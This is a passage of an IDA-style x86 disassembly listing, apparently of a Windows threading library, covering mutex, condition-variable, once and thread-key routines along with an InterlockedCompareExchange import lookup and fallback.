					; sub_431EF0+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_431EF0	endp

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432100	proc near		; CODE XREF: sub_431EF0+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_43219E
		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_432132
		or	eax, 0FFFFFFFFh


loc_43211C:				; CODE XREF: sub_432100+7Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 27703EBh
		test	eax, eax
		jnz	short loc_43218C
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432132:				; CODE XREF: sub_432100+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		call	near ptr 77C49113h
		nop
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_43211C
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43218C:				; CODE XREF: sub_432100+2Aj
		cmp	eax, 102h
		jnz	short loc_43219E
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43219E:				; CODE XREF: sub_432100+Bj
					; sub_432100+91j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_432100	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4321F0	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		jz	loc_432290
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_432290
		cmp	esi, 0FFFFFFFFh
		push	edi
		jz	short loc_432285
		mov	eax, [esi+0Ch]
		mov	edi, 1
		cmp	eax, edi
		jz	short loc_43223A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jnz	short loc_43223A
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43223A:				; CODE XREF: sub_4321F0+2Aj
					; sub_4321F0+40j
		cmp	[esi+8], edi
		jnz	short loc_432248
		mov	eax, [esi+4]
		dec	eax
		mov	[esi+4], eax
		jnz	short loc_43228A


loc_432248:				; CODE XREF: sub_4321F0+4Dj
		lea	edi, [esi+14h]
		mov	[esi+0Ch], ebx
		push	edi
		nop
		call	near ptr 7C901005h
		push	esi
		nop
		call	near ptr 2770668h
		test	eax, eax
		jl	short loc_432278
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_432278
		call	near ptr 77C1F2BCh
		nop
		mov	ebx, [eax]


loc_432278:				; CODE XREF: sub_4321F0+6Ej
					; sub_4321F0+7Ej
		push	edi
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432285:				; CODE XREF: sub_4321F0+1Ej
		mov	ebx, 16h


loc_43228A:				; CODE XREF: sub_4321F0+56j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432290:				; CODE XREF: sub_4321F0+Aj
					; sub_4321F0+14j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_4321F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4322D0	proc near		; CODE XREF: sub_401785j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_432355
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_432355
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4322F2
		push	esi
		call	sub_401C17
		add	esp, 4
		mov	edi, eax


loc_4322F2:				; CODE XREF: sub_4322D0+15j
		mov	esi, [esi]
		test	edi, edi
		jnz	short loc_432350
		push	0FFFFFFFFh
		push	edi
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432323
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43231B
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43231B:				; CODE XREF: sub_4322D0+44j
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432323:				; CODE XREF: sub_4322D0+35j
		cmp	dword ptr [esi+8], 1
		jnz	short loc_43234B
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jz	short loc_43234B
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43234B:				; CODE XREF: sub_4322D0+57j
					; sub_4322D0+6Dj
		mov	edi, 10h


loc_432350:				; CODE XREF: sub_4322D0+26j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432355:				; CODE XREF: sub_4322D0+Aj
					; sub_4322D0+10j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_4322D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432390:				; CODE XREF: ___:0040193Dj
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_40119A
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4323C0:				; CODE XREF: ___:00401591j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_4018CF
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4323F0:				; CODE XREF: ___:00401497j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4323FC
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_4323FC:				; CODE XREF: ___:004323F6j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432410:				; CODE XREF: ___:00401C12j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_432422
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432422:				; CODE XREF: ___:00432418j
		mov	esi, [eax]
		test	esi, esi
		jnz	short loc_432445
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_432445
		call	sub_401D02
; ---------------------------------------------------------------------------
		dd 0C5E89056h, 0E8023FDBh, 0FFFCF8C2h, 5EC0335Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_432445:				; CODE XREF: ___:00432426j
					; ___:0043242Dj
		mov	ecx, [eax+4]
		mov	eax, 431BDE83h
		add	ecx, 0F423Fh
		imul	ecx
		sar	edx, 12h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		lea	eax, [esi+esi*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	edi, [edx+ecx*8]
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jnz	short loc_43247E
		pop	edi
		mov	eax, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43247E:				; CODE XREF: ___:00432474j
		mov	eax, [esi+30h]
		push	edi
		test	eax, eax
		jnz	short loc_4324E6
		mov	edx, [esi+38h]
		push	edx
		call	near ptr 27703EBh
		nop
		test	eax, eax
		jnz	short loc_4324D7
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402248
		mov	eax, [esi+0Ch]
		add	esp, 4
		cmp	eax, 3
		jge	short loc_4324C6
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4324C6:				; CODE XREF: ___:004324A6j
		push	edi
		call	sub_4010C3
		add	esp, 4
		mov	eax, 3
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4324D7:				; CODE XREF: ___:00432492j
		cmp	eax, 102h
		jz	short loc_4324EC
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4324E6:				; CODE XREF: ___:00432484j
		nop
		call	near ptr 2830000h


loc_4324EC:				; CODE XREF: ___:004324DCj
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432540:				; CODE XREF: ___:00401014j
		push	ecx
		lea	eax, [esp+0]
		push	eax
		call	sub_401C3A
		add	esp, 4
		test	eax, eax
		mov	eax, 1
		jnz	short loc_43255B
		mov	eax, [esp+0]


loc_43255B:				; CODE XREF: ___:00432555j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432570	proc near		; CODE XREF: sub_401712j
		push	esi
		call	sub_401320
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		mov	esi, eax
		nop
		call	near ptr 27E07CFh
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	eax
		mov	dword_5103AC, eax
		nop
		call	near ptr 2890479h
		test	eax, eax
		mov	dword_5103C8, eax
		jnz	short loc_4325BD
		mov	eax, dword_5103AC
		mov	dword_5103C8, offset sub_4012D0
		push	eax
		call	near ptr 27503E2h
		nop
		mov	dword_5103AC, 0


loc_4325BD:				; CODE XREF: sub_432570+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_432570	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4325F0	proc near		; CODE XREF: sub_401627j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_432640
		mov	eax, dword_5103B4
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0A0E8501Ah,	8BFFFCF1h
		dd 5103B40Dh, 4C48300h,	6A118Bh, 0D9D6E852h, 0E8900231h
		dd 0FFFCF015h, 5103ACA1h, 74C08500h, 0A3E85007h, 900231DDh
; ---------------------------------------------------------------------------


loc_432640:				; CODE XREF: sub_4325F0+7j
		mov	eax, 1
		retn
sub_4325F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432670	proc near		; CODE XREF: sub_4017BCj
		mov	eax, 1
		retn
sub_432670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432690	proc near		; CODE XREF: sub_4017CBj
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_4326CB
		mov	eax, dword_5103B4
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0E8501Ah, 8BFFFCF1h
		dd 5103B40Dh, 4C48300h,	6A118Bh, 35E89052h
		db 0D9h, 31h, 2
; ---------------------------------------------------------------------------


loc_4326CB:				; CODE XREF: sub_432690+7j
		mov	eax, 1
		retn
sub_432690	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432700:				; CODE XREF: ___:0040225Cj
		push	ecx
		push	esi
		push	offset dword_510980
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, dword_5103BC
		test	eax, eax
		mov	[esp+4], eax
		jz	short loc_43273E


loc_43271C:				; CODE XREF: ___:0043273Cj
		test	esi, esi
		jnz	short loc_43273E
		lea	eax, [esp+4]
		push	eax
		call	sub_40160E
		mov	ecx, [esp+8]
		mov	esi, eax
		add	esp, 4
		mov	eax, [ecx+18h]
		test	eax, eax
		mov	[esp+4], eax
		jnz	short loc_43271C


loc_43273E:				; CODE XREF: ___:0043271Aj
					; ___:0043271Ej
		push	offset dword_510980
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0Bh
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432780	proc near		; CODE XREF: sub_4012B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_432799
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432799
		cmp	dword ptr [eax], 0C4C0FFEEh
		jnz	short loc_432799
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432799:				; CODE XREF: sub_432780+6j
					; sub_432780+Cj ...
		mov	eax, 1
		retn
sub_432780	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4327B0	proc near		; CODE XREF: sub_401320j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_4327BF
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4327BF:				; CODE XREF: sub_4327B0+7j
		push	0
		push	offset dword_5103B4
		mov	dword_5103B0, 1
		call	sub_401609
		add	esp, 8
		test	eax, eax
		jnz	short loc_4327EE
		push	eax
		push	offset dword_5103B8
		call	sub_401609
		add	esp, 8
		test	eax, eax
		jz	short loc_4327F3


loc_4327EE:				; CODE XREF: sub_4327B0+2Aj
		call	sub_401645


loc_4327F3:				; CODE XREF: sub_4327B0+3Cj
		push	esi
		mov	esi, dword_511868
		push	offset dword_5108C0
		call	esi
		push	offset dword_510920
		call	esi
		push	offset dword_510980
		call	esi
		push	offset dword_510900
		call	esi
		push	offset dword_510960
		call	esi
		push	offset dword_510940
		call	esi
		mov	eax, dword_5103B0
		pop	esi
		retn
sub_4327B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432850	proc near		; CODE XREF: sub_401645j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	locret_432909
		mov	eax, dword_5103B4
		test	eax, eax
		jz	short loc_432879
		push	eax
		call	sub_401AB4
		add	esp, 4
		mov	dword_5103B4, 0


loc_432879:				; CODE XREF: sub_432850+14j
		mov	eax, dword_5103B8
		test	eax, eax
		jz	short loc_432895
		push	eax
		call	sub_401AB4
		add	esp, 4
		mov	dword_5103B8, 0


loc_432895:				; CODE XREF: sub_432850+30j
		push	esi
		push	offset dword_5108C0
		nop
		call	near ptr 7C901005h
		mov	eax, dword_447708
		cmp	eax, 1
		jz	short loc_4328C3
		push	edi
		mov	edi, dword_511AD0


loc_4328B2:				; CODE XREF: sub_432850+70j
		mov	esi, [eax+8]
		push	eax
		call	edi	; free
		add	esp, 4
		cmp	esi, 1
		mov	eax, esi
		jnz	short loc_4328B2
		pop	edi


loc_4328C3:				; CODE XREF: sub_432850+59j
		push	offset dword_5108C0
		call	near ptr 7C9010EDh
		nop
		mov	esi, dword_511864
		push	offset dword_510940
		call	esi
		push	offset dword_510960
		call	esi
		push	offset dword_510900
		call	esi
		push	offset dword_510980
		call	esi
		push	offset dword_510920
		call	esi
		push	offset dword_5108C0
		call	esi
		mov	dword_5103B0, 0
		pop	esi

locret_432909:				; CODE XREF: sub_432850+7j
		retn
sub_432850	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432940:				; CODE XREF: ___:loc_401BA9j
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	eax
		mov	esi, [eax]
		mov	ecx, [eax+4]
		mov	edx, [eax+8]
		mov	[ebp-4], esi
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		call	near ptr 77C2C21Bh
		nop
		mov	eax, dword_5103B4
		push	esi
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		mov	dword ptr [esi+0Ch], 1
		add	esi, 3Ch
		push	0
		push	esi
		call	sub_437D4C
; ---------------------------------------------------------------------------
		mov	edi, [ebp-4]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_43299C
		mov	ecx, [ebp-8]
		push	ecx
		call	dword ptr [ebp-0Ch]
		add	esp, 4
		mov	[edi+14h], eax
		mov	esi, eax
		jmp	short loc_4329A8
; ---------------------------------------------------------------------------


loc_43299C:				; CODE XREF: ___:00432989j
		dec	eax
		jz	short loc_4329A5
		dec	eax
		or	esi, 0FFFFFFFFh
		jmp	short loc_4329A8
; ---------------------------------------------------------------------------


loc_4329A5:				; CODE XREF: ___:0043299Dj
		mov	esi, [edi+14h]


loc_4329A8:				; CODE XREF: ___:0043299Aj
					; ___:004329A3j
		cmp	dword ptr [edi+20h], 1
		jnz	short loc_4329C7
		call	sub_4017CB
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4329C7:				; CODE XREF: ___:004329ACj
		push	edi
		call	sub_40131B
		add	esp, 4
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432A20	proc near		; CODE XREF: sub_4017B7j

var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		sub	esp, 84h
		push	ebx
		mov	ebx, [esp+88h+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_432A9A
		lea	esi, [ebx+2Ch]
		push	edi
		push	esi
		call	sub_402248
		push	esi
		mov	dword ptr [ebx+0Ch], 5
		call	sub_4010C3
		push	ebx
		call	sub_40131B
		mov	ecx, 21h
		mov	esi, ebx
		lea	edi, [esp+9Ch+var_84]
		push	ebx
		rep movsd
		call	sub_401BD1
		mov	eax, [esp+0A0h+var_4C]
		mov	esi, dword_5118E0
		add	esp, 10h
		test	eax, eax
		pop	edi
		jz	short loc_432A78
		push	eax
		call	esi


loc_432A78:				; CODE XREF: sub_432A20+53j
		lea	eax, [esp+8Ch+var_58]
		push	eax
		call	sub_402252
		mov	eax, [esp+90h+var_80]
		add	esp, 4
		test	eax, eax
		jz	short loc_432A9A
		test	[esp+8Ch+var_8], 1
		jnz	short loc_432A9A
		push	eax
		call	esi


loc_432A9A:				; CODE XREF: sub_432A20+11j
					; sub_432A20+6Bj ...
		pop	esi
		pop	ebx
		add	esp, 84h
		retn
sub_432A20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432AE0	proc near		; CODE XREF: sub_401DDEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	14h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432B01
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432B01:				; CODE XREF: sub_432AE0+15j
		mov	edi, [esp+10h+arg_8]
		mov	ebp, [esp+10h+arg_4]
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	[esi+4], ebp
		lea	ebx, [edi+8]
		mov	[esi+8], edi
		push	ebx
		call	sub_402248
		add	esp, 4
		mov	[esp+10h+arg_4], eax
		test	eax, eax
		jz	short loc_432B42
		push	esi
		call	sub_402252
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	eax, [esp+18h+arg_4]
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432B42:				; CODE XREF: sub_432AE0+47j
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+10h], eax
		mov	[edi+0Ch], esi
		call	sub_4010C3
		add	esp, 4
		test	ebp, ebp
		jz	short loc_432B67
		mov	ecx, [ebp+80h]
		mov	[esi+0Ch], ecx
		mov	[ebp+80h], esi


loc_432B67:				; CODE XREF: sub_432AE0+76j
		mov	edx, [esp+10h+arg_0]
		pop	edi
		xor	eax, eax
		mov	[edx], esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_432AE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BB0	proc near		; CODE XREF: sub_40105Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_432BD7
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_432BD7
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_432BD7
		push	esi
		call	sub_402252
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 8


loc_432BD7:				; CODE XREF: sub_432BB0+7j
					; sub_432BB0+Ej ...
		pop	esi
		retn
sub_432BB0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BF0	proc near		; CODE XREF: sub_40131Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_432C5D
		mov	esi, [ebx+80h]
		test	esi, esi
		jz	short loc_432C5D
		push	edi


loc_432C05:				; CODE XREF: sub_432BF0+6Aj
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_432C58
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_432C33
		push	edi
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_432C33
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_432C33
		push	eax


loc_432C2E:				; CODE XREF: ___:00432CA7j
		call	edi	; free
		add	esp, 4


loc_432C33:				; CODE XREF: sub_432BF0+27j
					; sub_432BF0+34j ...
		mov	eax, [esi+0Ch]
		mov	dword ptr [esi+4], 0
		push	esi
		mov	[ebx+80h], eax
		call	sub_4010C3
		push	esi
		call	sub_40105F
		mov	esi, [ebx+80h]
		add	esp, 8


loc_432C58:				; CODE XREF: sub_432BF0+20j
		test	esi, esi
		jnz	short loc_432C05
		pop	edi


loc_432C5D:				; CODE XREF: sub_432BF0+8j
					; sub_432BF0+12j
		pop	esi
		pop	ebx
		retn
sub_432BF0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_432C80	proc near		; CODE XREF: sub_401DEDj
		mov	eax, dword_5103B4
		push	ebx
		push	edi
		push	eax
		call	sub_401190
sub_432C80	endp

; ---------------------------------------------------------------------------
		db 8Bh,	5Ch, 24h
; ---------------------------------------------------------------------------
		adc	[ebx-47CFB3Ch],	al
		add	cl, [ebx-7CF28B08h]
		sti
		add	[eax+ecx+6Ah], esi
		add	[eax-7F8E2918h], edx
		ja	short loc_432C2E
		push	dword ptr [esi+eax-0Ah]
		inc	edi
		jl	short near ptr loc_432CB0+1


loc_432CB0:				; CODE XREF: ___:00432CAEj
		jz	short loc_432CD5
		push	esi
		mov	eax, ebx
		xor	esi, esi
		dec	eax
		jz	short loc_432CC2
		dec	eax
		jnz	short loc_432CC5
		or	esi, 0FFFFFFFFh
		jmp	short loc_432CC5
; ---------------------------------------------------------------------------


loc_432CC2:				; CODE XREF: ___:00432CB8j
		mov	esi, [edi+14h]


loc_432CC5:				; CODE XREF: ___:00432CBBj
					; ___:00432CC0j
		call	sub_4017CB
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		pop	esi


loc_432CD5:				; CODE XREF: ___:loc_432CB0j
		push	1
		call	sub_401B22
; ---------------------------------------------------------------------------
		dd 8304C483h, 57533CC7h, 80408BE8h, 90909077h, 90909090h
		dd 8 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_432D10	proc near		; CODE XREF: sub_401B22j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_401122
sub_432D10	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_432D2F


loc_432D22:				; CODE XREF: ___:00432D2Dj
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_432D22


loc_432D2F:				; CODE XREF: ___:00432D20j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432D50:				; CODE XREF: ___:00401DF7j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432D70	proc near		; CODE XREF: sub_4012D0j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		lock cmpxchg [ecx], edx
		mov	[ebp+var_4], eax
		pop	edx
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_432D70	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432DB0	proc near		; CODE XREF: sub_401C3Aj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		lea	eax, [esp+8+var_4]
		lea	ecx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		xor	esi, esi
		nop
		call	near ptr 27903BEh
		push	eax
		nop
		call	near ptr 2740B1Ch
		test	eax, eax
		jz	short loc_432DF2
		mov	edx, [esp+0Ch+var_8]
		xor	ecx, ecx
		mov	eax, 1


loc_432DDC:				; CODE XREF: sub_432DB0+33j
		test	eax, edx
		jz	short loc_432DE1
		inc	ecx


loc_432DE1:				; CODE XREF: sub_432DB0+2Ej
		shl	eax, 1
		jnz	short loc_432DDC
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, esi
		pop	esi
		mov	[edx], ecx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_432DF2:				; CODE XREF: sub_432DB0+1Fj
		mov	eax, 0Bh
		pop	esi
		add	esp, 8
		retn
sub_432DB0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E20	proc near		; CODE XREF: sub_40185Cj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510960
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432E54
		push	esi
		push	ecx
		call	sub_401F91
		add	esp, 8
		mov	esi, eax
		push	offset dword_510960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E54:				; CODE XREF: sub_432E20+17j
		test	eax, eax
		jnz	short loc_432E5D
		mov	esi, 16h


loc_432E5D:				; CODE XREF: sub_432E20+36j
		push	offset dword_510960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_432E20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E90	proc near		; CODE XREF: sub_401861j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+14h]
